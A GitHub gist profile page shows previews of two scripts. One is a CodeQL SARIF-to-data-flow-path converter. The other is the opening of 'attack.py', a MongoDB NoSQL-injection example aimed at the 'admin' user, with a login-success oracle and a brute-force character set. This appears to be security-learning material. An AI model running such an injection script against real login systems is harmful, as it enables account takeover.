Skip to content

Instantly share code, notes, and snippets.

View bx33661's full-sized avatar
🌎
Working from home

Bpple bx33661

🌎
Working from home
View GitHub Profile
@bx33661
bx33661 / sarif_to_paths.py
Created December 9, 2025 01:25
关于CodeQL的脚本分享
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Convert CodeQL SARIF to:
{
"dataFlowPath": [
{ "threadFlows": [ { "steps": [ ... ] } ] },
...
]
}
@bx33661
bx33661 / attack.py
Created November 5, 2025 06:57
NoSQL注入示例基于MongoDB
import requests
import string
import re
TARGET_USERNAME = "admin"
# "神谕"的判断依据
SUCCESS_MESSAGE = "登录成功"
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?/`~"